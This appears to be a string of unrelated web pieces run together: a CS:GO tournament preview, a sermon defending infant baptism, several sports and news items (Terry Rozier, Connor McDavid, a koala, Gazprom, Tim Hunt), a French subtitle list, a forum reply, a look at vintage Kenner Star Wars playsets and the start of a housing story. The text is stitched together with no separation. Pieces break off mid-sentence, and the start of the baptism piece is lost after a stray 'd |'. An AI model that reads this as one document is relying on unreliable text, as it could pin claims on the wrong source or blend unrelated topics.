While happy to be proven wrong, this preview sees the Chinese powerhouse exiting in groups but gaining a plethora of experience from the tournament.
Group B
Natus Vincere
Whereas fnatic took the injury of their star player olofmeister as a sign to withdraw from Malmö and take time training with their replacement Niclas "PlesseN" Plessen, Na`Vi have instead opted to use coach starix as a replacement fifth for GuardiaN, who is also recuperating from his arm injury.
The world's current third best team, and grand finalists at the MLG Columbus Major, will therefore face an uphill battle to win the event as starix will be rusty and even in his final months as a player in 2015 was rather unimpressive, although luckily Group B does look like it can be clinched for the now Ukrainian-Russian team.
starix will have to contain the Na`Vi salt factory from inside the server
As with all groups and with all tournaments however, the purported group favourite will have to contend with a number of trials that could prove to be tricky. G2 have looked strong since retooling their roster and the core of this roster played Na`Vi to two incredibly close maps at the StarSeries XIV finals back in January.
CLG have also been low-key rivals of Natus Vincere, particularly in group stages at the Majors and particularly on de_cbble, where the likes of Josh "jdm64" Marzano and Tarik "tarik" Celik seem to excel.
However, if starix can keep former leader Zeus from blowing his lid during the team's in-game communications and develop proper tactical approaches to both of these aforementioned teams, Na`Vi should still take the top spot in their group.
As for the opening game against Swedish GODSENT, barring a masterfully engineered anti-strat game by brainiac Markus "pronax" Wallsten, Na`Vi should flatten the hometown Swedes.
G2
There is only so much pain any human being is willing to take, even a masochistic sort. After yet another group stage exit at a Major under the auspices of Kévin "Ex6TenZ" Droolans, internal factions within the team cried "Ça suffit!" and took down the Belgian leader and brought in bodyy of LDLC White.
This roster change in between the Major and Malmö was one of the bigger ones so effected and due to losing Ex6TenZ, the team fell four sports in our ranking this week to twelfth place as a result.
Much like old teammate DEVIL, bodyy will see immense speculation placed upon him
Bringing in bodyy should be a window of opportunity for G2 however, particularly in a weakened group due to Natus Vincere not featuring their star player GuardiaN. Although no Major, this tournament could be the chance for the weary likes of shox and ScreaM to once again experience the playoffs at a $250,000 event in an actual stadium.
Opening against the American CLG team, G2 will have to beware as they lost their last offline encounter at the Game Show finals to this team. If they should lose out in groups again, perhaps the curse of Ex6TenZ will be shown to live on in this lineup.
CLG
While they themselves seemed somewhat crushed after losing the MLG Columbus quarter-finals game to Liquid, CLG must surely have come alive to the fact that they are now Major Legends, fancy in-game badges and all the other trappings included.
While the team, led by the likes of AWPer jdm64, rifler tarik, and lurker reltuC, continue to be perhaps one of the most stable North American outfits in offline games and particularly against European teams, they are also a puzzling 3-11 in the ESL Pro League, which is either an ode to the team's indifference after losing early games or to the futility of online leagues in the first place.
The tarikstache abides dude
CLG remain on an upward trend overall and have everything to gain from being in Malmö, especially since they are placed in a group with teams that they have experience playing in offline games aside from the untested GODSENT.
Currently ranked tenth in the world, a successful group stage exit here would do wonders for CLG, although it would require the usual contributions from the likes of jdm64 in addition to players such as FugLy stepping up their game (FugLy was rather underwhelming in Columbus). If Liquid should fall in their group in particular, it would be sweet medicine to this American team's ears if they made playoffs.
GODSENT
GODSENT is the old Ancient lineup, recently formed as its own organisation that is co-owned by pronax and a capital investor by the name of Toms Martin, and is thus in effect something of a poor man's Astralis as far as co-ownership ventures are concerned.
Business matters aside, Ancient began as a slow start for pronax as he aimed to build another dedicated Swedish team and many of the outfit's first online matches seemed rather depressing, losing to the likes of the old YP lineup in the Last Chance qualifier for the Major qualifier.
pauf witnessed without personal trainer and mentor Anders in tow
The team got their act together and won their first offline event in late February, the Pantamera CS:GO Challenge, defeating Orgless and thus scooping up a pretty ~$13,800 as a result.
Both pauf and znajder (the latter once mythically known as'schneider' and apparently a Major winner, so the tales say) have been key drive-shafts in this team's firepower and in their winning matches, as can be seen in their qualification game against CPH Wolves to qualify for the Malmö event.
Seeing as how this team also features a multi-Major champion and mastermind in pronax, a "Talent to watch for this year" for multiple years in a row in twist, and a raw and unproven player in Lekr0, GODSENT could do some damage in Group B rather unexpectedly.
However, if you were to look at many bettors' hedges for tomorrow, it would probably include an opening loss to Natus Vincere. This team has a long way to go yet.
Group C
Astralis
Your author has promised himself that he would not make a joke about the current fourth best team in the world struggling to reach finals in the largest tournaments. In the first place, this team is too good to warrant such constant ribbing and in the second place, every memetic joke has its stretching point.
We were all witness to a raw and touching video released by the organisation afterwards that showed the Astralis players quite distressed after their semifinals loss at the Columbus Major to Natus Vincere, which must have been all the more bitter as the Danes had magically trounced the world's best team fnatic in the quarter-finals the day beforehand.
More of impish device and less crushed device please
There is no life-threatening danger on the horizon for Astralis in their group and we thus should see them berth into the playoffs where an entirely new ballgame will begin. In general, the team remain disciplined, organised, and skilled enough to defeat anyone, which is all the more true now that Na`Vi have been gravely weakened.
However, wary be he who runs into a battlefield with too much confidence. NiP are a team on the rise again that must be accounted for and Dignitas have also seemed to have picked their heads up as of late. All-in-all, Astralis will kick off their Malmö campaign with a W tomorrow against the Polish CSGL.
NiP
NiP survived the Majors having achieved their goal: making the Legends status as playing with a severe handicap of pyth not being able to attend due to visa issues and thus having to use coach Björn "THREAT" Pers as a stand-in.
The gambit worked and the Ninjas sauntered through to the quarter-finals and can thus rest assured of their spot at the ESL One Cologne Major, but now the team must once again gather their focus and look into a strong group stage game if they wish to make the playoffs of Malmö.
A telltale sign of a rising NiP is this man being in good form in recent games
All we've seen from the Swedish team since the Major have been two easy best-of-one games against FlipSid3, which assured the Swedish team's spot in the ESL Pro League Season 3 finals.
Utilising pyth in an offline tournament will be another challenge however, as the talent was a little under the radar during his debut for the organisation in Katowice. This question becomes all the more important as NiP (currently ranked seventh in the world) open in Malmö against Dignitas, the world's current ninth best team and one that is on a bit of an upswing as of late.
Dignitas
You may have slept on Dignitas as of late since a team who were seen in the early months of 2016 as quite likely to enter the top five of our ranking if their results kept up began a long and downward spiral following their failure to qualify for the Columbus Major at the Main Qualifier.
The team went into the small Copenhagen Games tournament recently as heavy favourites to win and instead were taken down by E-frag.net in the quarter-finals and thus finished in a humiliating 5-8th place.
d |
are? We do not treat communion like that. So why baptism?
94 Q: What is Baptism?
A: Baptism is a sacrament, wherein the washing with water, in the name of the Father, and of the Son, and of the Holy Ghost, doth signify and seal our ingrafting into Christ, and partaking of the benefits of the covenant of grace, and our engagement to be the Lord’s.
This understanding completely changed my thinking. Baptism is primarily something that God does for us, not something we do for him. It is primarily his witness to his covenant and only secondarily our witness to our faith. It is his engagement ring to us – before it is our declaration of love to him.
Step three was then to ask – if baptism is a sign of Gods covenant, to whom should it be applied? The catechism gives this answer:
95 Q: To whom is baptism to be administered?
A: Baptism is not to be administered to any that are out of the visible church, till they profess their faith in Christ, and obedience to him; but the infants of such as are members of the visible church, are to be baptised.
Now the Shorter Catechism is not the Bible and it could be wrong. The Bible is our supreme authority and the Creeds, Confessions and Catechisms of the church are secondary authorities that tell us how the church through the ages has understood the bible. So the key question? Is the statement that infants of such as are members of the visible church, are to be baptised, biblical?
Col. 2: 11 In him you were also circumcised with a circumcision not performed by human hands. Your whole self ruled by the flesh was put off when you were circumcised by Christ, having been buried with him in baptism, in which you were also raised with him through your faith in the working of God, who raised him from the dead.
Here it is clear that Paul links circumcision to baptism. Just as the Passover turns into the Lord’s Supper, and the Jewish Sabbath into the Christian Lord’s Day, so baptism is the replacement for circumcision. Both baptism and circumcision are signs that signify our entering into the Church of Jesus Christ. Both are outward signs of spiritual realities. Circumcision tells us that we need to be circumcised in heart, baptism that we need to be baptised by the Holy Spirit into the body of Christ. Baptism with water points to the one who baptises with the Holy Spirit (John 1:33). We are all baptized by one Spirit to form one body (1 Corinthians 12:13).
Just before I got married I was taking part in a mission in the Highland village of Strathpeffer. Several of us squeezed into one large bedroom and we slept in sleeping bags on the floor. One night we were talking into the wee small hours and I fell asleep. When I came down to breakfast the next morning, everyone started laughing and clapping. Apparently I had sat bolt up right in my sleep and shouted out ‘its all in the covenant, boys, it’s all in the covenant”! Indeed it is. I don’t believe in infant baptism, I believe in covenant baptism. The bottom line is that it is all in Gods covenant. The sacraments are covenant signs.
Which then leads me to ask the question – who was included in the covenant church? In the Old Testament Abraham believed and was circumcised, but then his children were circumcised before they believed. On the day of Pentecost Peter told his fellow Jews “Repent and be baptized, every one of you, in the name of Jesus Christ for the forgiveness of your sins. And you will receive the gift of the Holy Spirit. The promise is for you and your children and for all who are far off – for all whom the Lord our God will call” (Acts 2:38-39).
A fellow Free Church minister told me of receiving a phone call in the early hours of the morning from a Muslim man. He excitedly exclaimed, “I’ve become a Christian! Now there are two things I want. A bacon sandwich and my family to be baptized!”. For him it was inconceivable that he would be baptized and not his household. As for me and my house we will serve the Lord. In our modern individualistic Western mindset that is sometimes hard for us to grasp. But for the people in Jesus’s day it would have been natural. That is why the majority of recorded baptisms in the New Testament are household baptisms. It stretches credulity to think that these households did not include children.
So because I had come to see that baptism was something that God does for us, not something that we do for him; because I had come to see that Gods church existed in the Old Testament as well and that the covenant applies across both Old and New Testaments; because children were included in the covenant church of the Old Testament and there is no indication, indeed the opposite, that they were excluded in the covenant church of the New; then I came to be a believer in believers covenant baptism. And my children were baptized. I also look forward to baptising our first grandchild in the New Year –
A few other questions:
Sometimes I am asked the question– where is the chapter and verse which specifically commands infant baptism? Though it’s usually an accusation rather than a question. They usually mean, there is no specific warrant in the New Testament for infant baptism, so why do you do it? I don’t accept the premise of the question – the notion that unless you have chapter and verse for everything then you can’t do it. We take the whole of Scripture and we can draw biblical implications. Besides which if you take that chapter and verse theology too seriously you end up with some major problems with other issues. For example where is the chapter and verse than commands women to take communion?! That’s ridiculous, you say, because women are clearly included. Indeed. You are right. They are. But then so are children of believers included in the visible church.
There is also another interesting question for the ABO (Adult Baptist Only) – can you give one example of a child being brought up in a covenant home who is told to wait until they are of age before they can be baptised?
But you should only be baptised when you truly believe. That seems a fair and biblical position but it also has its difficulties. I remember when I was still a member of the Baptist church, meeting a fellow believer who had been baptised nine times! Because each time he was baptised he either fell away or realised that he had not been really converted and so therefore by his theology, his baptism had not been valid, but now he was really converted and so he should be baptised again. He was logically consistent, but biblically wrong.
But it’s ridiculous to think that a few drops of water sprinkled on a child make them a Christian. Indeed it is. Which is why we don’t argue that way. It is also ridiculous to think that a lot of water poured on an adult makes them a Christian. It doesn’t. We do not believe in baptismal regeneration (I am aware that there are Christians who do, adult as well as infant, but respectfully I would suggest that they have confused the sign with the thing that is signified).
How important is this issue? I don’t think it is an issue to divide over or to disrupt Gospel fellowship. The great Baptist preacher C H Spurgeon, and the Highland Free Church leader, Dr John Kennedy, were the best of friends. They disagreed about baptism but that did not stop them working and serving together. The story is told of how Spurgeon was visiting Kennedy in Dingwall and one day they took a walk along the shores of the Cromarty Firth. Somewhat mischievously Kennedy turned to Spurgeon and asked, “See, here is water. What doth hinder me to be baptized?”. He should have known better. Spurgeon, as sharp as ever, fired back, “Nothing, except a stipend, a manse….”!
In both churches I have ministered in, there have been members who were of baptistic convictions. Nothing hindered our fellowship or working together. They are not lesser or associate members. They are full members of the body of Christ and of the local body. In Brora there was a godly woman called Barbara Mackenzie, who was the nearest thing to a prophetess in the Free Church. One Monday I was visiting her when she remarked; “what an extraordinary day yesterday was – especially the morning service, there was a real sense of the Lord’s presence.” I agreed and thought I had her- “But Barbara, it was an infant baptism yesterday. Why would the Lord be present at something He does not agree with?” “Ah, David, the Lord is gracious and merciful”! She of course was right. At the end of time I don’t think our views on Baptism are going to have anything to do with our eternal destiny. There is no section of heaven labeled ‘’Baptists only” or “Presbyterians only”.
In this respect I am delighted that there are more and more Baptist churches who are opening up their membership to those who don’t accept the need to be rebaptised and yet who wish to be part of the church.
St Peters
Finally let me say a wee bit about St Peters practice. We do believe in infant baptism. It is part of our confession and every office bearer signs up to that. Members don’t sign the confession and so we have many Baptist members. I will never seek to enforce my view, or the churches view upon them. It is a secondary issue about which Christians have disagreed for many centuries and will do, until the Lord’s return. We only baptise the children of believers (at least one parent must be a believer). We don’t baptise the children of non-believers. And we don’t insist that members who have children must have their children baptised. Whatsoever is not of faith is sin. So we will also have a service of infant dedication for those who ask it and are believers. And for unbelievers who come and ask if they can ‘get the wean done’?! I never say no immediately. I will go and talk with them about what they are wanting and will offer a service of blessing, where at the end of the service they come forward to the front and I pray for them and their child. They take no vows to a God they do not as yet know, but they are introduced to him and his gospel.
For some that position is too narrow. For others it’s way too broad. We can only do as we are persuaded in the Scriptures. I have written all this not to convince you to accept everything I have said, or to agree with it all, but just simply so that you can understand why some of us, who are bible believing Christians, baptise our children. It is BECAUSE of the bible, not in spite of it. I accept fully that some reading this will not agree with it, but let each be persuaded in their own mind.
For the first ten years I was in St Peters most of the baptisms were adult ones. Recently, as the church has grown, people get married and have children, the majority have been of children. Indeed we have another one coming up this Sunday. What happens? I ask the parents to come forward. The parents profess their faith and vow to bring up their child in the love and admonition of the Lord. The congregation take a vow to support, pray for and welcome the child into the Covenant community. I give a verse to the family and then baptise in the name of the Father, the Son and the Holy Spirit. I find the occasions profoundly meaningful, spiritual and emotional – as do many of the congregation. These are the children the Lord has given. (And the children seem to enjoy it – so far this century not one baby has cried!). And then I hold the child in my arms and speak directly to them this beautiful blessing from the French Reformed liturgy. It is so poignant and moving. I leave you with it:
“Little child, for you Jesus Christ has come, he has fought, he has suffered. For you he entered the shadow of Gethsemane and the horror of Calvary. For you he uttered the cry ‘it is finished!’
For you he rose from the dead and ascended into heaven and there intercedes – for you little child even though you do not know it.
But in this way the word of the Gospel becomes true; ‘We love him, because he first loved us.
David Robertson
St Peters
Dec 2016
Footnote: Sinclair Ferguson gave an excellent talk to our young people on this subject last week. He reminded me of this oft neglected teaching from the Larger Catechism
Q167. How is our baptism to be improved by us? The needful but much neglected duty of improving our baptism, is to be performed by us all our life long, especially in the time of temptation, and when we are present at the administration of it to others; by serious and thankful consideration of the nature of it, and of the ends for which Christ instituted it, the privileges and benefits conferred and sealed thereby, and our solemn vow made therein;by being humbled for our sinful defilement, our falling short of, and walking contrary to, the grace of baptism, and our engagements; by growing up to assurance of pardon of sin, and of all other blessings sealed to us in that sacrament; by drawing strength from the death and resurrection of Christ, into whom we are baptized, for the mortifying of sin, and quickening of grace; and by endeavoring to live by faith, to have our conversation in holiness and righteousness, as those that have therein given up their names to Christ; and to walk in brotherly love, as being baptized by the same Spirit into one body.
Another point from Sinclairs talk which I had not really considered before:
“Children, obey your parents in the Lord, for this is right.” Ephesians 6:1
The children are in the covenant relationship. If you ask a Baptist “when you raised your children, before they were baptized, how did you teach them to pray?”. If they reply that children are taught to pray using the words “our Father” then the question immediately arises – “on what doctrinal basis can you teach your, as yet, unbaptized children to say “our Father”?” Surely Baptists don’t have this right, they are borrowing from the bank of covenant theology. Peter on the day of Pentecost said “to you, your children and those far off”. He did not just say “to you and those far off” which he would have done if he believed that God had now changed how his covenants should be administered from the Old Testament into the New in terms of believers and their offspring.WALTHAM, Mass. – Terry Rozier believes that he is a completely different animal than he was a year ago as he transitions from his rookie season to his upcoming sophomore campaign with the Boston Celtics.
The young point guard spent his entire offseason working on his game, starting with an evaluation period that began immediately after Boston’s postseason ended in April.
“I did a lot of thinking,” the 22-year-old reflected. “I wanted to clear my mind for a little bit, then I started watching film and seeing what areas I could improve on and things like that.”
The thing that stood out to Rozier the most was that he was often overthinking when he was on the court – a common flaw among NBA rookies who don’t have a consistent role.
“I kept that in my mind going into Summer League, and just how I can be aggressive from that point on,” said Rozier, who averaged eight minutes per game for Boston last season.
Well, something must have clicked over the last few months, because word in the Celtics’ gym is that Rozier has been one of the most aggressive players on the court during training camp.
“He’s coming to work everyday trying to get some minutes,” said forward Jae Crowder ahead of Monday's practice. “He wants to play. It’s very obvious that he wants to play very bad and he’s having a great training camp so far.”
Crowder began noticing a difference in Rozier’s game when he invited the young guard to work out with him over the summer.
“I think ‘confident’ is the best word you can use for his game right now,” said his veteran teammate. “He’s very confident and he’s playing at a high level. He put in work, and when you put in work the confidence comes. That’s one thing that you’ll see has changed with him.”
Celtics coach Brad Stevens is also impressed with the development Rozier has shown, and credits his increased confidence to the consistent workload he put in over the summer.
“He was [with Crowder] some, he was in Summer League, he was [home] in Cleveland, he was here [in Waltham]… I think the bottom line is, Terry is always working,” said Stevens.
Rozier began showing signs of improvement during Summer League in July. He emerged as a leader for the young squad and was the most consistent contributor, averaging a team-best 21.0 points per game in Las Vegas.
He’s carried that aggressiveness over to training camp, and Celtics fans caught a glimpse of it Friday night during open practice when Rozier went off for a team-high 10 points – which included two 3-pointers – during a 10-minute inter-squad scrimmage. The best part was that he showed no hesitation on the court, which is a sign that he was not overthinking his actions.
A major reason why Rozier’s confidence has improved is because he senses that his basketball IQ has increased significantly from Year 1 to Year 2.
“Going into my second Summer League I felt like I had more knowledge,” he said. “Just being around the game and learning your routines, and just learning from other guys that you’re around. You feel like you pick up on a lot of stuff.”
Another thing that that Rozier has picked up on is slowing down how he sees the game, which allows him to make better reads as a ball handler.
“I’m just seeing my options instead of just feeling like I’m rushed,” said Rozier. “That’s one of the reasons, once I slow my mind down and see what the options are, it makes it better on me.”
Rozier is hoping his increased confidence translates to improved production on the court, because he’s noted on numerous occasions that he wants to eat up the vacant minutes that Evan Turner – who is now with Portland – left behind.
“I really want them all,” Rozier said of those available minutes. “But I’m just waiting patiently, trying to get better, learning a lot of things. Just waiting for that time to come.”
Based on how things have panned out so far through camp, Rozier’s waiting period may not last too much longer.A rookie Sidney Crosby lived with Pittsburgh legend Mario Lemieux. The league’s most recent Calder Trophy champ, Aaron Ekblad, shacked up with Florida captain Willie Mitchell as an 18-year-old. And the Edmonton Oilers will make sure Connor McDavid’s living situation is a positive one.
The Oilers have spoken with captain and respected veteran Andrew Ference, 36, about the possibility of welcoming a teenage phenom into his family home this fall.
“We talked about it and I think Peter [Chiarelli, the Oilers general manager] is going down the path to make sure Connor is in a really good situation,” Ference told Jim Matheson of the Edmonton Journal Tuesday.
“I think the interactions between young and old are important, not necessarily in the dressing room, but also at dinner time and away from the rink conversations, which are valuable.”
Despite some speculation to the contrary, to Ference’s knowledge, he will remain captain of the Oilers for the 2015-16 season. A front-office overhaul and coaching switch could have opened a window for further changes.
The blueliner asked new bench boss Todd McLellan about the ‘C’ shortly after McLellan was hired in May.
“I like things out in the open,” Ference told the Journal. “I don’t like walking on eggshells or awkward moments, player to coach, player to GM. This isn’t a vanity project. We should want everybody pulling on the same rope for the Oilers.”
When it does come time for a member of the young Oilers core — McDavid, Taylor Hall, Ryan Nugent-Hopkins, Jordan Eberle — to take over the captaincy, Ference knows whom he would select.
“Anybody can be captain… the way I look at it is, who would be the same person with or without it?” Ference said. “It shouldn’t change who you are as a person. Some guys who have the captaincy can elevate their role and how they feel, but how they act and who they are? That shouldn’t change.”Parched as, bro (Facebook / Nick Lothian)
Wednesday was a great day for human/koala relations.
Desperate for something to drink on a hot day in Adelaide, a koala left the scrub-land and climbed a cyclist’s bike frame, perching there adorably until the cyclist gave her everything in his water bottle.
Isn’t she gorgeous?
Fellow rider Nick Lothian noticed the scene as he cycled by and snapped the picture, saying the koala was there for half an hour just chilling on the wheel frame, enjoying her new celebrity status.
They named her Carolina and his photo went viral – obviously, because it’s incredibly sweet.
Carolina, after her check-up (Picture: Merridy Montarello)
Koalas According to Save The Koala, the marsupial is classed as ‘vulnerable’ across Australia.
Their numbers are in serious decline because of habitat destruction, bushfires, dog attacks and road accidents.
There are less than 100,000 Koalas left in the wild, possibly as few as 43,000.
However, it’s also a reminder that dry conditions such as drought make it difficult for animals to survive. Normally koalas can keep hydrated just by eating eucalyptus leaves, but if there isn’t enough moisture they need to find water elsewhere.
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Animal welfare officers kept the marsupial in overnight to check she didn’t have any kidney problems which could have explained the thirst, the Herald Sun reported.
Luckily, they decided she had a clean bill of health and released her back into the wild.Gazprom to keep gas spigot open for Ukraine under trilateral proposal. (UPI Photo/Sergey Starostenko) | License Photo
BRUSSELS, May 27 (UPI) -- Russian energy company Gazprom agrees to keep gas flowing through Ukraine for June without pre-payment from Ukraine, the European Union said.
European Energy Commissioner Gunther Oettinger met with Russian Energy Minister Alexander Novak and his Ukrainian counterpart, Yuri Prodan, to settle lingering issues in the Ukrainian natural gas sector.
The European Commission said Monday "substantial progress" has been made, though there were no major breakthroughs.
Russian energy company Gazprom said Ukraine would have to pay in advance for natural gas unless it settles a multi-billion dollar gas bill.
Ukraine hosts the bulk of Russia's gas delivered for Europe and the stalemate has put the region's energy security at risk.
The European Commission said Ukrainian energy company Naftogaz agrees to pay $2 billion by Friday and another $500 million by June 7 to settle its outstanding debts.
"Gazprom agrees to continue to supply gas for June without insisting on prepayment [upon receipt]," a proposed deal stipulates.
The European Commission said another round of talks is set for Friday in case all parties to the proposed agreement fail to reach a deal.Image copyright PA Image caption Sir Tim Hunt was speaking at a conference in South Korea
A Nobel laureate has resigned from his position as honorary professor at a UK university after he made comments about the "trouble with girls" in science.
University College London (UCL) said Sir Tim Hunt - a Royal Society fellow - had resigned from his position within its faculty of life sciences.
He told a conference that women in labs "cry" when criticised and "fall in love" with male counterparts.
He told the BBC he "did mean" the remarks but was "really sorry".
A statement from the university read: "UCL can confirm that Sir Tim Hunt FRS has resigned from his position as honorary professor with the UCL faculty of life sciences following comments he made about women in science at the World Conference of Science Journalists on 9 June.
"UCL was the first university in England to admit women students on equal terms to men, and the university believes that this outcome is compatible with our commitment to gender equality."
Media playback is unsupported on your device Media caption Sir Tim Hunt suggested 'girls' should stay out of the laboratory because they distract men
Sir Tim, 72 - who was awarded the Nobel prize in physiology or medicine in 2001 for his work on how cells divide - reportedly told the conference in South Korea: "Let me tell you about my trouble with girls.
"Three things happen when they are in the lab: you fall in love with them, they fall in love with you, and when you criticise them they cry."
'Emotional entanglements'
Speaking to BBC Radio 4's Today programme on Wednesday, Sir Tim said he was "really sorry that I said what I said", adding it was "a very stupid thing to do in the presence of all those journalists".
The British biochemist, who was knighted in 2006, said the remarks made at a conference in South Korea were "intended as a light-hearted, ironic comment" but had been "interpreted deadly seriously by my audience".
He went on to say he stood by some of the comments.
"I did mean the part about having trouble with girls," he said.
"I have fallen in love with people in the lab and people in the lab have fallen in love with me and it's very disruptive to the science because it's terribly important that in a lab people are on a level playing field.
"I found that these emotional entanglements made life very difficult.
"I'm really, really sorry I caused any offence, that's awful. I certainly didn't mean that. I just meant to be honest, actually."
Reaction on Twitter
Female scientists post 'distractingly sexy' photos
Viewpoint: Women must fight sexism in science
Imran Khan, chief executive of the British Science Association, said the comments were "frustrating".
"Sadly, dealing with sexism and other forms of discrimination are a daily reality for many people, and I imagine it's hard to find Sir Tim's comments funny if you've been held back by systemic bias for years - whether those remarks were intended as a joke or not," he said.
Aoife McLysaght, professor in genetics at Trinity College Dublin, told the BBC: "It's very unsatisfactory when someone apologises for causing offence rather than for the view they hold."
Prof McLysaght also said: "If he has trouble controlling emotions around women, he should work on controlling his emotions rather than suggest that labs are segregated."
Emily Rice, an astrophysics professor at the College of Staten Island in New York, said she had been "fairy lucky" in her career.
But she added sexist attitudes were "ingrained".
Prof Rice said: "We know how to be objective, we know how to be rational, we know how to be logical when it comes to our data, and we're not always as good about doing that about ourselves."The following movies and TV shows have mostly-accurate French subtitles, either on the disk or somewhere online. A few have 3rd-party transcripts that aren't synchronized with the dialog.
Your best bets for finding subtitles or transcripts are the following:
Open Subtitles. These can be used with VLC (if you rip the movie to a hard drive) or with subs2srs. Beware tiny subtitle files—some of the movies claiming to have subtitles have only one or two scenes' worth. Hypnoweb. If you look, there are sub-sites for each series, and the lists of episodes will sometimes include scripts.
You can find more movies and series in this HTLAL thread.
Movies Edit
Amélie
French subtitles (often not on the DVD)
English subtitles
Banlieue 13
French subtitles (on at least some US DVDs)
English subtitles
These aren't quite exact, but the first several minutes appear to have only minor omissions, and there's lots of slang.
Bon Cop, Bad Cop
French subtitles
English subtitles
The French subs on the disc are at least 80% accurate. Some of the dialog is in a Quebec dialect, and the subtitles are mostly transcribed in standard French with some Quebec vocabulary.
Chocolat
French subtitles
Fairly clear dialog.
Free Birds
Accurate subtitles on DVD (Region 1, Quebec release)
Hunger Games: L'Embrasement
Accurate subtitles on DVD (Region 1, Quebec release)
Intouchables
Accurate subtitles on DVD (checked Quebec release). Dialog is quite fast and colloquial.
Jeux d'enfants
Transcript
Lock Out
Accurate subtitles on DVD (Region 1, Quebec release)
Ne le dis à personne
French subtitles
Fairly clear dialog.
Red 2
Accurate subtitles on DVD (Region 1, Quebec release)
Need to find links These were mentioned on HTLAL as having good subtitles, presumably on the DVD.
Polisse
Le bonheur des autres
Les Fugitifs
Les Amours Imaginaires
De vrais mensonges
Monsieur Lazhar
Maelstrom
Tomboy
17 Filles
Le silence de Lorna
Tromper le silence
L'auberge Espagnol
Bienvenue Chez Les Chtis
Je Vais Bien Ne t'en fais pas
L'argent de poche
Incendies
Camping
Neuilly sa mère
Je vous trouve très beau
Harry Potter Prisoner of Azkaban (Region 1 release, at least, but not the earlier films)
Harry Potter 1 (at least one French release, 85–95% accurate)
La Femme Nikita (the movie, not the show)
The Hunger Games (French release, 85–95% accurate)
Un Conte de Noël (Canadian edition from EF1 films, but not Criterion edition)
Television series Edit
Big Bang Theory
Mostly accurate. Bref
Has subs.
Buffy contre les vampires
3rd-party transcripts
Box set sometimes available on Amazon.fr
The actual on-disk subtitles are wildly different from the audio, but the transcripts are accurate and the dubbing is very good.
Camera Cafe
Believed to have subtitles. Transcripts are available somewhere online.
Chuck (Region 2 French dub)
Has fairly accurate subs, at least for seasons 1 and 2.
C.A. Conseil d'Administration
Québécois dialect, very slangy, good subs. Uses several made-up euphemisms for sexual terms.
Kaamelott
Has subs.
Sherlock
Very accurate.
Simpsons (Region 2 French dub)
Transcripts
Les Revenants
Accurate French subs, according to [the discussion here].Quote from: Rutarete on August 20, 2014, 08:54:51 AM Reminds me of the Elemental Engineers group from a few years back. You may want to check it out
Group Thread
Challenge Thread
The "Elemental Engineers" was a place for people to post decks that were too terrible for anybody else to have even considered posting before, all under the guise of "originality." I should hope elk's challenges are nothing like that. If so, count me in.
each deck should be judged according to the current deckbuilding rules of the competition
Deck building competitions are NOT always about the strongest deck and I think you know that better than me since you are a forum member even older than me. Judging these decks as weak based on the regular EtG built-in deckbuilding rules is plainly wrong because. Take Weekly Tournaments, for example, a forum event you really like if we take your trophies into account. Many of the most successful Weekly Tournie decks just suck in the regular EtG meta despite of being undefeated in their Weekly Tournie's meta. So, can you be honest enough to say "The Weekly Tournaments is a place for people to use decks that are too terrible for anybody else to have even considered using before, all under the guise of original weekly tournie rules" dear Root?The year is 1980 and what you don’t quite understand as young fanboy is that your parents are dealing with a recession — so while you dream of giant Kenner playlets for your Land of the Jawas playset action figures instead you settle for using your imagination! Or at least that’s what your cash strapped parents told you to do, so alas the sandbox became Tatooine and when you were lucky to get a snow storm it was time to play on planet Hoth. Well through some magic we’ve come across three amazing vintage Kenner playsets from 1979 and 1980 — a magical time when the hype and merchandise machine for The Empire Strikes back was going into high gear:
The Kenner Star Wars Death Star Space Station (1979)
I’m really glad that Kenner mentioned that the Death Star was in fact a space station so your poor parents wouldn’t be confused when they were looking for something the size of a small planet. What I love about this cover is that we have it all: A Stormtrooper fires an impressive looking gun out of a window, underneath him we’ve got Luke and the Princess cheering on Darth and Obi Wan doing their lightsaber thing and then below we’ve got Han hanging out with Chewie and the trash while our two droids exit the elevator shaft. And to drive home just how cool this all is — two kids can play with the same toy and be 100% oblivious to each other.
And the back of the box features a groovy traced inked illustration of the front of the box. But what’s on the inside? Well here are a few of the surviving bits of the “space station”:
That’s right kids: Put that painted cardboard together and recreate your own Death Star! By the way I really feel sorry for the poor parents who didn’t read the fine print and didn’t realize that poor Timmy would need to have his own action figures in his existing collection. And here’s a vintage commercial showing the playset in action:
The Kenner Star Wars Land of the Jawas Action Playset (1979)
Our box cover features a solo child looking at an action packed droid flea-market! And as into emphasize the scale of the scene a giant Sandcrawler sits in the background. Notice how you get the idea that there must be something really cool on the inside of the Sandcrawler — after all there seem to be nothing but Jawas and droids coming out of it.
Now I’ve got to be honest: The desert in the foreground doesn’t look half bad when we get the box open — but that Sandcrawler seems a little bit shabby. So let’s take a closer look inside our Sandcrawler:
Man I knew those Jawas were able to drive a hard bargain — but I had no idea that their impressive vehicle was just a mere prop! But to be fair the “parts list” is well done enough to do double duty as a poster for any young fanboy who likes to do some coloring on the side:
And here’s a video tour of our playset:
The Kenner Star Wars Empire Strikes Back Hoth Ice Planet Adventure Playset (1980)
Clearly by 1980 the marketing department at Kenner was getting smarter at their package design: If you crop the picture of the kid out your audience can imagine themselves playing with the toy while you save the expense of a model release form. What I love about this shot is that there’s no mixing of non-snowgear clad action figures wandering on to the adventure set as they would in the real world world no doubt. And of course there is no mere “playset” but an ADVENTURE SET. And clearly you can see a dogfight going on above our AT-AT Walker. But now on to the reality inside the box:
I have to say that while this is cheap looking, it’s better in two ways: Unlike our Sandcrawler the AT-AT Walker had some dimension to it and there’s a nice background painting to set the mood if you need a Winter scene in the dead of Summer. It’s important to note that the one thing that Lucas did well was to make sure that he got the toy rights to Star Wars. And while these toys look cheap by the standards of today in fact they were high quality for their day. And I suspect the quality and sheer variety of the toys are part of what made Star Wars beloved to a generation that could feel that they owned the series through their playtime.
And lastly here’s a vintage commercial showing off the Hoth Ice Planet:
My research sources:
The Kenner Star Wars Death Star Space Station (1979)
The Kenner Star Wars Land of the Jawas Action Playset (1979)
The Kenner Star Wars Empire Strikes Back Hoth Ice Planet Adventure Playset (1980)Kristina and Eric Achilles had bought condos off plans before. So when they read a few negative reports online about home builder Urbancorp, they weren’t deterred from depositing $60,000 on a new, pre-construction semi three years ago. The house would give them the space they needed for their growing sons at a price they could afford, she said.
Kristina Achilles says that the insolvency of Urbancorp means her family won't own a bigger home. ( Marcus Oleniuk / Toronto Star )
